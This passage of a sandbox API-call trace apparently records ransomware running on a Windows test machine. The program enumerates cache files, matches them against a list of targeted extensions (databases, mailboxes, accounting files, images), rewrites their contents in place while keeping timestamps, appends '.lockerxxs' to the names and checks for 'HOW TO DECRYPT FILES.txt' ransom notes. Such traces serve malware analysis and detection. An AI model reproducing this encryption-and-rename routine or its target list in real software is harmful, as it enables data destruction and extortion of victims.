HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.dat") returned 0 [0083.255] lstrlenA (lpString="*.dat") returned 5 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.txt") returned 0 [0083.255] lstrlenA (lpString="*.txt") returned 5 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.jpeg") returned 0 [0083.255] lstrlenA (lpString="*.jpeg") returned 6 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.jpg") returned 1 [0083.255] lstrlenA (lpString="*.jpg") returned 5 [0083.255] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" [0083.255] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" [0083.255] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg." [0083.255] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.lockerxxs" [0083.256] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.256] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x755 [0083.256] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458a2cf0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458a2cf0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458a2cf0, dwHighDateTime=0x1d2faf3)) returned 1 [0083.256] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.257] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x72f, lpOverlapped=0x0) returned 1 [0083.258] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg") returned="BBEdpyr[1].jpg" [0083.259] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.259] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x72f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x72f, lpOverlapped=0x0) returned 1 [0083.259] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.259] CloseHandle (hObject=0xa4) returned 1 [0083.259] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg.lockerxxs")) returned 1 [0083.260] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457e4610, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457e4610, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x457e4610, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1c72, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEdQdv[1].jpg", cAlternateFileName="BBEDQD~1.JPG")) returned 1 [0083.260] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.260] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEdQdv[1].jpg") returned 1 [0083.260] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEdQdv[1].jpg") returned 1 [0083.260] lstrcmpiA (lpString1="", lpString2="BBEdQdv[1].jpg") returned -1 [0083.260] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg") returned="BBEdpyr[1].jpg" [0083.260] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.261] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.261] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.261] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.261] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEdQdv[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" [0083.261] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.ems") returned 0 [0083.261] lstrlenA (lpString="*.ems") returned 5 [0083.261] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.db") returned 0 [0083.261] lstrlenA (lpString="*.db") returned 4 [0083.261] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.dbf") returned 0 [0083.261] lstrlenA (lpString="*.dbf") returned 5 [0083.261] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.myox") returned 0 [0083.261] lstrlenA (lpString="*.myox") returned 6 [0083.261] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.myo") returned 0 [0083.261] lstrlenA (lpString="*.myo") returned 5 [0083.261] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qbw") returned 0 [0083.261] lstrlenA (lpString="*.qbw") returned 5 [0083.261] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qbb") returned 0 [0083.261] lstrlenA (lpString="*.qbb") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qbm") returned 0 [0083.262] lstrlenA (lpString="*.qbm") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qbo") returned 0 [0083.262] lstrlenA (lpString="*.qbo") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qbx") returned 0 [0083.262] lstrlenA (lpString="*.qbx") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qba") returned 0 [0083.262] lstrlenA (lpString="*.qba") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qby") returned 0 [0083.262] lstrlenA (lpString="*.qby") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qbj") returned 0 [0083.262] lstrlenA (lpString="*.qbj") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.ofx") returned 0 [0083.262] lstrlenA (lpString="*.ofx") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.qif") returned 0 [0083.262] lstrlenA (lpString="*.qif") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.mye") returned 0 [0083.262] lstrlenA (lpString="*.mye") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.mbox") returned 0 [0083.262] lstrlenA (lpString="*.mbox") returned 6 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.eml") returned 0 [0083.262] lstrlenA (lpString="*.eml") returned 5 [0083.262] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.pst") returned 0 [0083.262] lstrlenA (lpString="*.pst") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.ost") returned 0 [0083.263] lstrlenA (lpString="*.ost") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.idx") returned 0 [0083.263] lstrlenA (lpString="*.idx") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.dbx") returned 0 [0083.263] lstrlenA (lpString="*.dbx") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.sql") returned 0 [0083.263] lstrlenA (lpString="*.sql") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.mdb") returned 0 [0083.263] lstrlenA (lpString="*.mdb") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.fdb") returned 0 [0083.263] lstrlenA (lpString="*.fdb") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.wab") returned 0 [0083.263] lstrlenA (lpString="*.wab") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.dat") returned 0 [0083.263] lstrlenA (lpString="*.dat") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.txt") returned 0 [0083.263] lstrlenA (lpString="*.txt") returned 5 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.jpeg") returned 0 [0083.263] lstrlenA (lpString="*.jpeg") returned 6 [0083.263] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", pszSpec="*.jpg") returned 1 [0083.263] lstrlenA (lpString="*.jpg") returned 5 [0083.263] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" [0083.263] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" [0083.263] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg." [0083.263] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.lockerxxs" [0083.264] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.264] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1c72 [0083.264] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x457e4610, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x457e4610, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x457e4610, dwHighDateTime=0x1d2faf3)) returned 1 [0083.264] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.264] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1c4c, lpOverlapped=0x0) returned 1 [0083.269] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg") returned="BBEdQdv[1].jpg" [0083.269] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.269] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1c4c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1c4c, lpOverlapped=0x0) returned 1 [0083.269] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.270] CloseHandle (hObject=0xa4) returned 1 [0083.270] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg.lockerxxs")) returned 1 [0083.271] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe399c90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xa23, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEe62t[1].jpg", cAlternateFileName="BBEE62~1.JPG")) returned 1 [0083.273] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.273] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEe62t[1].jpg") returned 1 [0083.273] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEe62t[1].jpg") returned 1 [0083.273] lstrcmpiA (lpString1="", lpString2="BBEe62t[1].jpg") returned -1 [0083.273] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg") returned="BBEdQdv[1].jpg" [0083.273] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.273] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.273] lstrcatA (in: 